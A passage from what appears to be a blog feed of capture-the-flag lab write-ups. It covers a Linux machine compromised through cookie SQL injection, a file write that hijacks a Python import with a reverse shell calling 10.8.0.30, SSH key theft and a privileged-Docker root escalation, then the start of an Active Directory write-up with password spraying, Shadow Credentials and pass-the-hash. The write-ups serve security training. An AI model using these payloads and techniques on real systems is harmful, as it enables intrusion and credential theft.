&lt;pre&gt;&lt;code&gt;@app.route(&apos;/calculate&apos;, methods=[&apos;POST&apos;])
def calculate():
    token = request.cookies.get(&apos;Bearer&apos;)
    user = check_auth(token)
    if not user:
        return redirect(&apos;/login&apos;)

    output = subprocess.getoutput(&quot;python3 ./calculator.py&quot;)
    &amp;lt;SNIP&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This introduced the possibility of manipulating the Python code executed by the application.&lt;/p&gt;
&lt;h3&gt;Python Import Hijacking&lt;/h3&gt;
&lt;p&gt;We retrieved &lt;code&gt;/app/calculator.py&lt;/code&gt; using the same &lt;code&gt;LOAD_FILE()&lt;/code&gt; technique:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Cookie: Bearer=INVALID&apos; UNION SELECT 1,hex(LOAD_FILE(&apos;/app/calculator.py&apos;)),3,4 -- -
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted%20image%2020260911180629.png&quot; alt=&quot;Reading calculator.py through LOADFILE&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The script imported the Python &lt;code&gt;random&lt;/code&gt; module and immediately used it to generate the dice values:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import random
import sys
import site

# Mostra informazioni sui site-packages
print(&quot;=== Python Site Packages Information ===&quot;)
print(&quot;Site-packages directories:&quot;, site.getsitepackages())
print(&quot;\n&quot; + &quot;=&quot;*50 + &quot;\n&quot;)

# First line: exact Python version
print(f&quot;Python version: {sys.version}\n&quot;)

# Classic D&amp;amp;D dice
dice = {
    &quot;d4&quot;: random.randint(1, 4),
    &quot;d6&quot;: random.randint(1, 6),
    &quot;d8&quot;: random.randint(1, 8),
    &quot;d10&quot;: random.randint(1, 10),
    &quot;d12&quot;: random.randint(1, 12),
    &quot;d20&quot;: random.randint(1, 20),
}

# Nice header
output = &quot;✨⚔ Epic Dice Roll ⚔✨\n\n&quot;
output += &quot;🎲 Let the fate decide your destiny!\n\n&quot;

# Add results
for die, value in dice.items():
    output += f&quot;{die.upper():&amp;lt;4} → {value}  🎲\n&quot;

print(output)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Because &lt;code&gt;calculator.py&lt;/code&gt; imported &lt;code&gt;random&lt;/code&gt; from the same directory in which it was executed, a local &lt;code&gt;random.py&lt;/code&gt; could be used to hijack the import.&lt;/p&gt;
&lt;p&gt;We first created a malicious module containing a Python reverse shell:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;➜  Dungeon cat random.py
import socket,subprocess,os;s=socket.socket();s.connect((&quot;10.8.0.30&quot;,4444));[os.dup2(s.fileno(),f) for f in (0,1,2)];subprocess.call([&quot;/bin/sh&quot;,&quot;-i&quot;])
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Since the application was connected to MySQL as &lt;code&gt;root&lt;/code&gt;, we attempted to write the payload to &lt;code&gt;/app/random.py&lt;/code&gt; using &lt;code&gt;INTO OUTFILE&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;➜  Dungeon HEX=$(xxd -p random.py | tr -d &apos;\n&apos;)

➜  Dungeon curl -s &quot;http://172.16.18.12:5000/calculator&quot; --cookie &quot;Bearer=INVALID&apos; UNION SELECT 1,0x${HEX},3,4 INTO OUTFILE &apos;/app/random.py&apos;-- -&quot;
&amp;lt;!doctype html&amp;gt;
&amp;lt;html lang=en&amp;gt;
&amp;lt;title&amp;gt;Redirecting...&amp;lt;/title&amp;gt;
&amp;lt;h1&amp;gt;Redirecting...&amp;lt;/h1&amp;gt;
&amp;lt;p&amp;gt;You should be redirected automatically to the target URL: &amp;lt;a href=&quot;/login&quot;&amp;gt;/login&amp;lt;/a&amp;gt;. If not, click the link.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Although the request returned a redirect, the SQL query was processed and the file was written.&lt;/p&gt;
&lt;p&gt;We then accessed &lt;code&gt;/calculator&lt;/code&gt; and triggered &lt;code&gt;Roll the Dice&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;http://172.16.18.12:5000/calculator
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted%20image%2020260911181922.png&quot; alt=&quot;Triggering the dice functionality after writing random.py&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The application returned an error while importing &lt;code&gt;random.py&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted%20image%2020260911181902.png&quot; alt=&quot;Application error caused by the corrupted random.py payload&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The issue was caused by the remaining &lt;code&gt;UNION SELECT&lt;/code&gt; values. The &lt;code&gt;1&lt;/code&gt;, &lt;code&gt;3&lt;/code&gt;, and &lt;code&gt;4&lt;/code&gt; values were also written into the Python file, corrupting the payload.&lt;/p&gt;
&lt;h3&gt;Workaround&lt;/h3&gt;
&lt;p&gt;To prevent the remaining &lt;code&gt;UNION SELECT&lt;/code&gt; fields from breaking the Python file, empty strings were used for the other columns. We also appended &lt;code&gt;#&lt;/code&gt; to the reverse shell so that any trailing data written to the file would be interpreted as a comment.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;➜  Dungeon cat random.py
import socket,subprocess,os;s=socket.socket();s.connect((&quot;10.8.0.30&quot;,4444));[os.dup2(s.fileno(),f) for f in (0,1,2)];subprocess.call([&quot;/bin/sh&quot;,&quot;-i&quot;])#
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The resulting file effectively contained:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;PAYLOAD + # + TRASH
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Everything after the &lt;code&gt;#&lt;/code&gt; was ignored by Python, allowing the payload to execute successfully.&lt;/p&gt;
&lt;p&gt;The modified payload was then written to &lt;code&gt;/app/random.py&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;➜  Dungeon HEX=$(xxd -p random.py | tr -d &apos;\n&apos;)

➜  Dungeon curl -s &quot;http://172.16.18.12:5000/calculator&quot; --cookie &quot;Bearer=INVALID&apos; UNION SELECT 0x${HEX},&apos;&apos;,&apos;&apos;,&apos;&apos; INTO OUTFILE &apos;/app/random.py&apos;-- -&quot;
&amp;lt;!doctype html&amp;gt;
&amp;lt;html lang=en&amp;gt;
&amp;lt;title&amp;gt;Redirecting...&amp;lt;/title&amp;gt;
&amp;lt;h1&amp;gt;Redirecting...&amp;lt;/h1&amp;gt;
&amp;lt;p&amp;gt;You should be redirected automatically to the target URL: &amp;lt;a href=&quot;/login&quot;&amp;gt;/login&amp;lt;/a&amp;gt;. If not, click the link.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted%20image%2020260911154051.png&quot; alt=&quot;Writing the corrected random.py payload to the application directory&quot; /&gt;&lt;/p&gt;
&lt;p&gt;We then triggered the dice functionality again while listening for the reverse shell.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted%20image%2020260911154033.png&quot; alt=&quot;Reverse shell listener receiving the callback&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The callback returned a shell as &lt;code&gt;root&lt;/code&gt; inside the application container:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;root@235e734eb20a:/#
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We inspected the filesystem and identified &lt;code&gt;/mnt/app&lt;/code&gt; as the mounted application directory:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;root@235e734eb20a:/# df -h
Filesystem                         Size  Used Avail Use% Mounted on
overlay                             12G  6.5G  4.2G  61% /
tmpfs                               64M     0   64M   0% /dev
shm                                 64M    16K     0   0% /dev/shm
/dev/mapper/ubuntu--vg-ubuntu--lv   12G  6.5G  4.2G  61% /mnt/app
tmpfs                              481M     0  481M     0% /proc/acpi
tmpfs                              481M     0  481M     0% /proc/scsi
tmpfs                              481M     0  481M     0% /sys/firmware
root@235e734eb20a:/# cd /mnt/app
root@235e734eb20a:/mnt/app# ls -la
total 48
drwxr-x--- 7 1000 1000 4096 Sep 11 17:30 .
drwxr-xr-x 1 root root 4096 Sep 11 18:36 ..
lrwxrwxrwx 1 1000 1000    9 Sep  8  2025 .bash_history -&amp;gt; /dev/null
-rw-r--r-- 1 1000 1000  220 Mar 31  2024 .bash_logout
-rw-r--r-- 1 1000 1000 3771 Mar 31  2024 .bashrc
drwx------ 2 1000 1000 4096 Sep  5  2025 .cache
drwx------ 3 1000 1000 4096 Sep  5  2025 .docker
drwxrwxr-x 3 1000 1000 4096 Sep  5  2025 .local
-rw-r--r-- 1 1000 1000  807 Mar 31  2024 .profile
drwx------ 2 1000 1000 4096 Nov 22  2025 .ssh
-rw-r--r-- 1 1000 1000    0 Sep  5  2025 .sudo_as_admin_successful
-rw-rw-r-- 1 1000 1000  180 Sep  5  2025 .wget-hsts
drwxrwxr-x 2 root root 4096 Sep  7  2025 dicesim
-rw------- 1 1000 1000   32 Sep 11 17:30 user.flg
root@235e734eb20a:/mnt/app# cat user.flg
6ea&amp;lt;SNIP&amp;gt;7697
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The user flag was retrieved from the mounted application directory.&lt;/p&gt;
&lt;h2&gt;Shell as mat&lt;/h2&gt;
&lt;h3&gt;SSH Private Key&lt;/h3&gt;
&lt;p&gt;Further enumeration of &lt;code&gt;/mnt/app&lt;/code&gt; revealed an &lt;code&gt;.ssh&lt;/code&gt; directory belonging to UID &lt;code&gt;1000&lt;/code&gt;, which corresponded to the host user &lt;code&gt;mat&lt;/code&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;root@235e734eb20a:/mnt/app/.ssh# ls -la
total 20
drwx------ 2 1000 1000 4096 Nov 22  2025 .
drwxr-x--- 7 1000 1000 4096 Sep 11 17:30 ..
-rw-r--r-- 1 1000 1000   90 Nov 22  2025 authorized_keys
-rw------- 1 1000 1000  399 Sep  5  2025 id_ed25519
-rw-r--r-- 1 1000 1000   90 Sep  5  2025 id_ed25519.pub
root@235e734eb20a:/mnt/app/.ssh# cat id_ed25519
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNz&amp;lt;SNIP&amp;gt;cpOup
uG4oPzQsk0U/BvJXYXP2AAAACG1hdEBvcmM0AQIDBAU=
-----END OPENSSH PRIVATE KEY-----
root@235e734eb20a:/mnt/app/.ssh# cat id_ed25519.pub
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKZrPGKTYB1UyWh/oBncpOupuG4oPzQsk0U/BvJXYXP2 mat@orc4
root@235e734eb20a:/mnt/app/.ssh#
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;id_ed25519&lt;/code&gt; private key was copied to the attack host and used to authenticate to SSH as &lt;code&gt;mat&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;➜  Dungeon nano id_ed25519
➜  Dungeon chmod 600 id_ed25519
➜  Dungeon ssh mat@172.16.18.12 -i id_ed25519
&amp;lt;SNIP&amp;gt;
Last login: Sat Nov 22 15:16:38 2025 from 10.8.0.2
mat@orc4:~$ id
uid=1000(mat) gid=1000(mat) groups=1000(mat)
mat@orc4:~$ ls -al
total 48
drwxr-x--- 7 mat  mat  4096 Sep 11 17:30 .
drwxr-xr-x 3 root root 4096 Sep  5  2025 ..
lrwxrwxrwx 1 root root    9 Sep  8  2025 .bash_history -&amp;gt; /dev/null
-rw-r--r-- 1 mat  mat   220 Mar 31  2024 .bash_logout
-rw-r--r-- 1 mat  mat  3771 Mar 31  2024 .bashrc
drwx------ 2 mat  mat  4096 Sep  5  2024 .cache
drwxrwxr-x 2 root root 4096 Sep  7  2025 dicesim
drwx------ 3 mat  mat  4096 Sep  5  2025 .docker
drwxrwxr-x 3 mat  mat  4096 Sep  5  2025 .local
-rw-r--r-- 1 mat  mat   807 Mar 31  2024 .profile
drwx------ 2 mat  mat  4096 Nov 22  2025 .ssh
-rw-r--r-- 1 mat  mat     0 Sep  5  2025 .sudo_as_admin_successful
-rw------- 1 mat  mat    32 Sep 11  17:30 user.flg
-rw-rw-r-- 1 mat  mat   180 Sep  5  2025 .wget-hsts
mat@orc4:~$
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We now had a shell as &lt;code&gt;mat&lt;/code&gt; on the host.&lt;/p&gt;
&lt;h2&gt;Root&lt;/h2&gt;
&lt;h3&gt;Root Docker Job&lt;/h3&gt;
&lt;p&gt;With a host shell as &lt;code&gt;mat&lt;/code&gt;, &lt;a href=&quot;https://github.com/DominicBreuker/pspy/releases/tag/v1.2.1&quot;&gt;pspy64&lt;/a&gt; was used to monitor processes running with elevated privileges:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mat@orc4:/tmp$ ./pspy64
pspy - version: v1.2.1 - Commit SHA: f9e6a1590a4312b9faa093d8dc84e19567977a6d


     ██▓███    ██████  ██▓███ ▓██   ██▓
    ▓██░  ██▒▒██    ▒ ▓██░  ██▒▒██  ██▒
    ▓██░ ██▓▒░ ▓██▄   ▓██░ ██▓▒ ▒██ ██░
    ▒██▄█▓▒ ▒  ▒   ██▒▒██▄█▓▒ ▒ ░ ▐██▓░
    ▒██▒ ░  ░▒██████▒▒▒██▒ ░  ░ ░ ██▒▓░
    ▒▓▒░ ░  ░▒ ▒▓▒ ▒ ░▒▓▒░ ░  ░  ██▒▒▒
    ░▒ ░     ░ ░▒  ░ ░░▒ ░     ▓██ ░▒░
    ░░       ░  ░  ░  ░░       ▒ ▒ ░░
                   ░           ░ ░

&amp;lt;SNIP&amp;gt;
2026/09/11 19:26:01 CMD: UID=0     PID=73286  | /bin/sh -c cd /master &amp;amp;&amp;amp; docker-compose up -d &amp;amp;&amp;amp; sleep 40 &amp;amp;&amp;amp; docker-compose down -v
2026/09/11 19:26:01 CMD: UID=0     PID=73285  | sleep 15
&amp;lt;SNIP&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;A root process was periodically starting Docker Compose from &lt;code&gt;/master&lt;/code&gt;. We inspected the Compose configuration:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mat@orc4:/master$ ls -al
total 20
drwxr-xr-x  3 root root 4096 Nov 22  2025 .
drwxr-xr-x 24 root root 4096 Sep  8  2025 ..
drwxr-xr-x  3 root root 4096 Sep  8  2025 campaign
-rw-r--r--  1 root root  225 Nov 22  2025 docker-compose.yml
-rw-r--r--  1 root root   88 Nov 22  2025 Dockerfile
mat@orc4:/master$ cat docker-compose.yml
version: &apos;3&apos;
services:
   campaign-runner:
      build: .
      privileged: true
      volumes:
       - /:/host
       - /master/campaign/scripts/:/app/
      command: bash -c &quot;sleep 15 &amp;amp;&amp;amp; /app/campaign.sh &amp;amp;&amp;amp; rm -rf /app/*&quot;
mat@orc4:/master$
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The container was configured with &lt;code&gt;privileged: true&lt;/code&gt; and mounted the host filesystem at &lt;code&gt;/host&lt;/code&gt;. The &lt;code&gt;/master/campaign/scripts/&lt;/code&gt; directory was also mounted into the container as &lt;code&gt;/app&lt;/code&gt;, and &lt;code&gt;/app/campaign.sh&lt;/code&gt; was executed automatically.&lt;/p&gt;
&lt;p&gt;We then checked the permissions of the &lt;code&gt;scripts&lt;/code&gt; directory:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mat@orc4:/master/campaign$ ls -la
total 12
drwxr-xr-x 3 root root 4096 Sep  8  2025 .
drwxr-xr-x 3 root root 4096 Sep  8  2025 ..
drwxrwxr-x 2 mat  mat  4096 Sep 11 19:22 scripts
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The directory was writable by &lt;code&gt;mat&lt;/code&gt;, meaning the script executed by the privileged container could be replaced.&lt;/p&gt;
&lt;h3&gt;Privileged Container Abuse&lt;/h3&gt;
&lt;p&gt;We replaced &lt;code&gt;campaign.sh&lt;/code&gt; with a script that copied &lt;code&gt;/bin/bash&lt;/code&gt; through the host filesystem mounted at &lt;code&gt;/host&lt;/code&gt; and enabled the SUID bit:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mat@orc4:/tmp$ cat &amp;gt; /master/campaign/scripts/campaign.sh &amp;lt;&amp;lt;&apos;EOF&apos;
#!/bin/bash
cp /host/bin/bash /host/tmp/rootbash
chown root:root /host/tmp/rootbash
chmod +s /host/tmp/rootbash
EOF

mat@orc4:/tmp$ chmod +x /master/campaign/scripts/campaign.sh
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;After the root job executed the modified script, &lt;code&gt;/tmp/rootbash&lt;/code&gt; was created with the SUID bit:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mat@orc4:/tmp$ ls -la
total 5616
drwxrwxrwt 15 root root    4096 Sep 11 19:19 .
drwxr-xr-x 24 root root    4096 Sep  8  2025 ..
drwxrwxrwt  2 root root    4096 Mar 15 09:54 .font-unix
drwxrwxrwt  2 root root    4096 Mar 15 09:54 .ICE-unix
-rw-rw-r-- 1 mat  mat        0 Sep 11 19:04 linpeas_host_checker_23826.err
-rw-rw-r-- 1 mat  mat        0 Sep 11 19:04 linpeas_host_checker_23826.json
-rwxrwxr-x 1 mat  mat  1133905 Sep 11 19:02 linpeas.sh
-rwxrwxr-x 1 mat  mat  3104768 Sep 11 19:02 pspy64
-rwsr-sr-x 1 root root 1446024 Sep 11 19:19 rootbash
drwx------  2 root root    4096 Mar 15 09:54 snap-private-tmp
drwx------  3 root root    4096 Sep 11 17:29 systemd-private-d7482ff3b039423f95b073f1bf0cfcc1-fwupd.service-9uWTNQ
drwx------  3 root root    4096 Sep 11 19:04 tmux-1000
drwxrwxrwt  2 root root    4096 Mar 15 09:54 .X11-unix
drwxrwxrwt  2 root root    4096 Mar 15 09:54 .XIM-unix
mat@orc4:/tmp$ ./rootbash -i -p
rootbash-5.2# id
uid=1000(mat) gid=1000(mat) euid=0(root) egid=0(root) groups=0(root),1000(mat)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The effective UID was &lt;code&gt;0&lt;/code&gt;, providing root privileges on the host.&lt;/p&gt;
&lt;p&gt;We then accessed &lt;code&gt;/root&lt;/code&gt; and retrieved the root flag:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;rootbash-5.2# cd /root
rootbash-5.2# ls -la
total 52
drwx------  6 root root 4096 Sep 11 17:30 .
drwxr-xr-x 24 root root 4096 Sep  8  2025 ..
lrwxrwxrwx  1 root root    9 Sep  8  2025 .bash_history -&amp;gt; /dev/null
-rw-r--r-- 1 root root 3106 Apr 22  2024 .bashrc
drwx------ 2 root root 4096 Sep  7  2025 .cache
drwx------ 3 root root 4096 Sep  5  2025 .docker
-rw------- 1 root root   20 Mar 15 10:07 .lesshst
drwxr-xr-x  3 root root 4096 Sep  5  2025 .local
-rw-r--r-- 1 root root  161 Apr 22  2024 .profile
-rwxr-xr-x 1 root root  110 Nov 22  2025 restart_dicesim.sh
-rw------- 1 root root   32 Sep 11 17:30 root.flg
-rw-r--r-- 1 root root   66 Sep  8  2025 .selected_editor
drwx------ 2 root root 4096 Sep  8  2025 .ssh
-rw------- 1 root root  685 Sep  7  2025 .viminfo
rootbash-5.2# cat root.flg
687&amp;lt;SNIP&amp;gt;890
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>Recovery - Ronin66 Machine</title><link>https://xiaowenjictf.github.io/posts/roninlabs/recovery/recovery/</link><guid isPermaLink="true">https://xiaowenjictf.github.io/posts/roninlabs/recovery/recovery/</guid><description>Recovery writeup</description><pubDate>Thu, 10 Sep 2026 00:00:00 GMT</pubDate><content:encoded>&lt;hr /&gt;
&lt;h2&gt;Summary&lt;/h2&gt;
&lt;p&gt;Recovery is a Windows domain controller for the &lt;code&gt;recovery.local&lt;/code&gt; domain. Initial enumeration revealed that SMB accepted null authentication, allowing the domain user list to be enumerated. One account had a password exposed in its description field, which was successfully sprayed against the other users and resulted in valid credentials for &lt;code&gt;j.ortega&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;With access as &lt;code&gt;j.ortega&lt;/code&gt;, BloodHound identified an &lt;code&gt;AddKeyCredentialLink&lt;/code&gt; relationship over &lt;code&gt;s.connery&lt;/code&gt;. This permission was abused to perform a Shadow Credentials attack, obtaining the NT hash of &lt;code&gt;s.connery&lt;/code&gt; and gaining a WinRM session.&lt;/p&gt;
&lt;p&gt;From the compromised host, a custom binary in &lt;code&gt;C:\Utils&lt;/code&gt; was downloaded and analyzed with &lt;code&gt;strings&lt;/code&gt;, revealing another cleartext credential. The recovered password belonged to &lt;code&gt;s.johansson&lt;/code&gt;. BloodHound then showed that &lt;code&gt;s.johansson&lt;/code&gt; had &lt;code&gt;WriteSPN&lt;/code&gt; over &lt;code&gt;w.dafoe&lt;/code&gt;, allowing a targeted Kerberoasting attack. The resulting TGS hash was cracked offline, recovering &lt;code&gt;w.dafoe&lt;/code&gt;&apos;s password.&lt;/p&gt;
&lt;p&gt;Finally, BloodHound showed that &lt;code&gt;w.dafoe&lt;/code&gt; had &lt;code&gt;GenericAll&lt;/code&gt; over the domain controller. This was abused to configure Resource-Based Constrained Delegation (RBCD), impersonate &lt;code&gt;Administrator&lt;/code&gt;, and obtain full control of the domain controller.&lt;/p&gt;
&lt;h2&gt;Recon&lt;/h2&gt;
&lt;h3&gt;Initial Enumeration&lt;/h3&gt;
&lt;p&gt;A full TCP scan with service detection was performed to identify the exposed services:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;nmap -sSV -p- 172.16.18.19 --min-rate 5000

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: recovery.local, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap
3268/tcp  open  ldap
3269/tcp  open  ssl/ldap
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0
9389/tcp  open  mc-nmf        .NET Message Framing
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The exposed Kerberos, LDAP, SMB, and RPC services indicated that the target was a domain controller. The LDAP banner identified the domain as &lt;code&gt;recovery.local&lt;/code&gt;, while the service information identified the host as &lt;code&gt;DC01&lt;/code&gt;.&lt;/p&gt;
&lt;h3&gt;SMB Enumeration&lt;/h3&gt;
&lt;p&gt;Since SMB was exposed on port 445, a null session was tested. The server accepted anonymous authentication and allowed the domain user list to be enumerated:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;nxc smb 172.16.18.19 -u &apos;&apos; -p &apos;&apos; --users

SMB   172.16.18.19   445   DC01   [+] recovery.local\:
SMB   172.16.18.19   445   DC01   -Username-      -Last PW Set-       -BadPW- -Description-
SMB   172.16.18.19   445   DC01   Guest           &amp;lt;never&amp;gt;             0
SMB   172.16.18.19   445   DC01   s.connery       2025-10-14 12:37:26 0
SMB   172.16.18.19   445   DC01   m.gibson        2025-10-14 12:38:51 0
SMB   172.16.18.19   445   DC01   j.statham       2025-10-14 12:40:40 0   ChangeMe2025!
SMB   172.16.18.19   445   DC01   s.johansson     2025-10-17 13:46:49 0
SMB   172.16.18.19   445   DC01   j.ortega        2025-10-14 13:17:02 0
SMB   172.16.18.19   445   DC01   w.dafoe         2025-10-17 13:44:57 0
SMB   172.16.18.19   445   DC01   [*] Enumerated 7 local users: RECOVERY
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The description field for &lt;code&gt;j.statham&lt;/code&gt; contained the value &lt;code&gt;ChangeMe2025!&lt;/code&gt;, which appeared to be a password. Testing it against the account itself showed that it was not valid for &lt;code&gt;j.statham&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;nxc smb 172.16.18.19 -u &apos;j.statham&apos; -p &apos;ChangeMe2025!&apos;

SMB   172.16.18.19   445   DC01   [-] recovery.local\j.statham:ChangeMe2025! STATUS_LOGON_FAILURE
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Since the password was exposed in the domain user enumeration output but did not belong to &lt;code&gt;j.statham&lt;/code&gt;, it was sprayed against the other enumerated accounts:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;nxc smb 172.16.18.19 -u users.txt -p &apos;ChangeMe2025!&apos;

SMB   172.16.18.19   445   DC01   [-] recovery.local\s.connery:ChangeMe2025! STATUS_LOGON_FAILURE
SMB   172.16.18.19   445   DC01   [-] recovery.local\m.gibson:ChangeMe2025! STATUS_LOGON_FAILURE
SMB   172.16.18.19   445   DC01   [-] recovery.local\j.statham:ChangeMe2025! STATUS_LOGON_FAILURE
SMB   172.16.18.19   445   DC01   [-] recovery.local\s.johansson:ChangeMe2025! STATUS_LOGON_FAILURE
SMB   172.16.18.19   445   DC01   [+] recovery.local\j.ortega:ChangeMe2025!
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The password was valid for &lt;code&gt;j.ortega&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;j.ortega : ChangeMe2025!
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Shell as s.connery&lt;/h2&gt;
&lt;h3&gt;BloodHound Analysis&lt;/h3&gt;
&lt;p&gt;With valid domain credentials, BloodHound data was collected to identify additional attack paths:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;bloodyAD --host 172.16.18.19 -d recovery.local -u &apos;j.ortega&apos; -p &apos;ChangeMe2025!&apos; get bloodhound
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The resulting BloodHound data showed that &lt;code&gt;j.ortega&lt;/code&gt; had the &lt;code&gt;AddKeyCredentialLink&lt;/code&gt; permission over &lt;code&gt;s.connery&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted%20image%2020260909153032.png&quot; alt=&quot;j.ortega has AddKeyCredentialLink over s.connery&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;AddKeyCredentialLink&lt;/code&gt; allows a new Key Credential to be associated with the target account. This can be abused through a Shadow Credentials attack to authenticate as the target account using PKINIT.&lt;/p&gt;
&lt;h3&gt;Shadow Credentials Attack&lt;/h3&gt;
&lt;p&gt;Before performing the attack, the local system clock was synchronized with the domain controller to avoid Kerberos authentication failures caused by clock skew. &lt;code&gt;bloodyAD&lt;/code&gt; was then used to add a Shadow Credential to &lt;code&gt;s.connery&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ntpdate 172.16.18.19
bloodyAD --host 172.16.18.19 -d recovery.local -u &apos;j.ortega&apos; -p &apos;ChangeMe2025!&apos; add shadowCredentials s.connery

[+] KeyCredential generated with following sha256 of RSA key: 31a076ce8fdb33064fe108ed74395c2379a1a2ad9e2d29205cbafbe0e67afdd7
[+] TGT stored in ccache file s.connery_zx.ccache

NT: 406345455039820bb7e5fad7cf82c556
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The attack returned the NT hash associated with &lt;code&gt;s.connery&lt;/code&gt;. The hash was then used for pass-the-hash authentication over WinRM:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;evil-winrm -i 172.16.18.19 -u &apos;s.connery&apos; -H &apos;406345455039820bb7e5fad7cf82c556&apos;

*Evil-WinRM* PS C:\Users&amp;gt; cat Public/user.flg
e34&amp;lt;SNIP&amp;gt;a09
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This provided an authenticated shell as &lt;code&gt;s.connery&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;Shell as s.johansson&lt;/h2&gt;
&lt;h3&gt;Cleartext Credential in mount.exe&lt;/h3&gt;
&lt;p&gt;While enumerating the compromised host, a custom executable was found in &lt;code&gt;C:\Utils&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;*Evil-WinRM* PS C:\Utils&amp;gt; ls

    Directory: C:\Utils

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----       10/15/2025   6:09 PM         113774 mount.exe
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The binary was downloaded for local analysis. Running &lt;code&gt;strings&lt;/code&gt; against it revealed a hardcoded credential:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;strings mount.exe

user: ******@recovery.local
password: R0ckth!spass678
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The recovered password was then sprayed against the previously enumerated domain accounts to determine which account it belonged to:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;nxc smb 172.16.18.19 -u users.txt -p &apos;R0ckth!spass678&apos;

&amp;lt;SNIP&amp;gt;

SMB   172.16.18.19   445   DC01   [-] recovery.local\s.connery:R0ckth!spass678 STATUS_LOGON_FAILURE
SMB   172.16.18.19   445   DC01   [-] recovery.local\m.gibson:R0ckth!spass678 STATUS_LOGON_FAILURE
SMB   172.16.18.19   445   DC01   [-] recovery.local\j.statham:R0ckth!spass678 STATUS_LOGON_FAILURE
SMB   172.16.18.19   445   DC01   [+] recovery.local\s.johansson:R0ckth!spass678
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The password was valid for &lt;code&gt;s.johansson&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;s.johansson : R0ckth!spass678
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Targeted Kerberoast against w.dafoe&lt;/h3&gt;
